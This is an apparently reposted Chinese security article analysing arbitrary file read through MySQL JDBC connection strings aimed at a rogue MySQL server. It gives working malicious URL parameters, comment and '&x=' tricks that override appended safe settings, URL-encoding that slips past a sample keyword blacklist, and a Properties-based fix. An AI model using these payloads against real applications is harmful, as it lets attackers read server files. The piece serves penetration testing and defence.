JDBC MySQL任意文件读取分析
2023-1-6 17:17:54 Author: xz.aliyun.com(查看原文) 阅读量:27 收藏

在渗透测试中,有些发起mysql测试流程(或者说mysql探针)的地方,可能会存在漏洞。在连接测试的时候通过添加allowLoadLocalInfileInPath,allowLoadLocalInfile,allowUrlInLocalInfile与伪造的服务器进行通信,造成任意文件读取。

完整payload:
test?allowLoadLocalInfile=true&allowUrlInLocalInfile=true&allowLoadLocalInfileInPath=/&maxAllowedPacket=655360

以下是可以利用该漏洞的一些场景

简述一下客户端(被攻击端)与伪造mysql服务器的通信流程。通过wireshark进行抓包读取。

1.问候MySQL客户端
2.等待查询包(03)
3.回答本地数据文件请求tcp option(01 01 08 0a 58 77 5b a8 e9 1f b7 2d
)。前三个字节是数据包的大小(0b 00 00)。接下来的1个字节是数据包编号(01)。下一个字节是数据包类型(fb),然后是文件名(2f 65 74 63 2f 70 61 73 77 64 /etc/hosts)。 

主要是数据包的类型字段fb,要求连接的主机将本地文件进行发送。

这两张图展示的是第三个数据包的各个字段。

https://dev.mysql.com/doc/refman/8.0/en/load-data-local-security.html

在mysql文档中的说到,服务端可以要求客户端读取有可读权限的任何文件

java端类的初始化变量

com.mysql.jdbc.NonRegisteringDriver#connect主要进行赋值的工作,根据url的内容解析为properties,并对connection这个基类进行赋值,进行初始化的工作。

很多文章仅仅提到了两个可利用的参数。allowLoadLocalInfileInPath这个参数在8.0.22版本之后也是可以利用的。

文件读取的参数
allowLoadLocalInfileInPath=/ 设置读的目录为根目录,这样所有的目录文件都可以读取
allowLoadLocalInfile=true 
allowUrlInLocalInfile=true 这两个参数类似

设置包大小参数
maxAllowedPacket=655360

参考:

https://dev.mysql.com/doc/connector-j/8.0/en/connector-j-connp-props-security.html

通过这些差异我们能对后续参数的覆盖以及绕过黑名单的检测。

1、注释符差异

如果对jdbc的连接是对参数进行拼接,可以用注释符进行绕过或者多添加一个参数进行对参数值的覆盖,从而绕过该修复方案。

static String driverName = "com.mysql.cj.jdbc.Drive";
    @Test
    public void getConnection1(HttpServletRequest request, HttpServletResponse response) {
        try {
            // 1、加载驱动
            Class.forName(driverName);
            // 2、获取connection
            String jdbcUrl = request.getParameter("jdbcUrl");
            Connection conn = DriverManager.getConnection(jdbcUrl + "&serverTimezone=Asia/Shanghai&allowLoadLocalInfile=false&allowUrlInLocalInfile=false");
            System.out.println(conn);
        } catch (ClassNotFoundException e) {
            e.printStackTrace();
        } catch (SQLException e) {
            e.printStackTrace();
        }
    }

8.0.x

test?allowLoadLocalInfile=true&allowUrlInLocalInfile=true&maxAllowedPacket=655360#

8.0.x是可以使用注释符#来注释掉后面的内容。

8版本在解析connectionString的时候,最后一步query会根据正则匹配将#后面的注释部分去掉。

这样一来可以注释掉之后拼接的内容,覆盖后面想要赋值的变量。

完整的传入test?allowLoadLocalInfile=true&allowUrlInLocalInfile=true&maxAllowedPacket=655360#&serverTimezone=Asia/Shanghai&allowLoadLocalInfile=false&allowUrlInLocalInfile=false进行对allowLoadLocalInfile,allowUrlInLocalInfile参数值的覆盖。

5.1.x

5.1.x 不可以使用注释符#来注释掉后面的内容,但是可以使用&x=来拼接后面的内容,比如下图这样就可以使用拼接来绕过。

test?allowLoadLocalInfile=true&allowUrlInLocalInfile=true&maxAllowedPacket=655360&x=

2、参数名和参数值解析差异

这个方式主要是为了绕过对黑名单的检测,如果在传入payload的时候对这两个值进行校验。

如果黑名单检测的代码是这样写的,很有可能会存在绕过的问题。

public static boolean isValidUrl(String url){
  if(url.contains("allowLoadLocalInfile")||url.contains("allowUrlInLocalInfile")||url.contains("allowLoadLocalInfileInPath")){
    return false;
  }
}

8.0.x

8.0.x是可以使用url编码的方式来对参数名和参数值进行编码。

jdbc:mysql://127.0.0.1:33060/test?maxAllowedPacket=655360&characterEncoding=utf-8&allowUrlInLocalInfil%65=%74%72%75%65# 。allowUrlInLocalInfile,maxAllowedPacket这些字段都是可以url编码绕过的。

所以从原则上来讲用黑名单来过滤必须要先解码再进行匹配,不然可能会造成黑名单绕过的问题。

5.1.x

仅仅参数值可以被编码。

jdbc:mysql://10.188.141.222:33067/test?maxAllowedPacket=655360&characterEncoding=utf-8&allowUrlInLocalInfile=%74%72%75%65

在properties中可以进行url编码,绕过对true的赋值。

所以5版本无法绕过对黑名单机制的检测。

推荐使用https://github.com/fnmsd/MySQL_Fake_Server来搭建恶意的mysql服务器。

有些连接的参数发出来是utf8mb4会遇到下面的报错:

通过抓取wireshark的流量,发现utf8的编码发出包的charset flag是21:

而utf8mb4发出来的编码集是45

所以上面报错的信息会显示不支持,是因为字符集没有被定义:

在flags.py添加一行定义即可。

原生的场景下可以使用预先定义的Properties将URL中的属性覆盖掉,就可以关闭本地文件读取以及URL读取了。

String driver = "com.mysql.jdbc.Driver";
String DB_URL = "jdbc:mysql://127.0.0.1:3306/test?user=test&maxAllowedPacket=655360&allowLoadLocalInfile=true";
Class.forName(driver);
Properties properties = new Properties();
properties.setProperty("allowLoadLocalInfile","false");
properties.setProperty("allowUrlInLocalInfile","false");
properties.setProperty("allowLoadLocalInfileInPath","");
Connection conn = DriverManager.getConnection(DB_URL,properties);

https://paper.seebug.org/1112/


文章来源: https://xz.aliyun.com/t/12011
如有侵权请联系:admin#unsafe.sh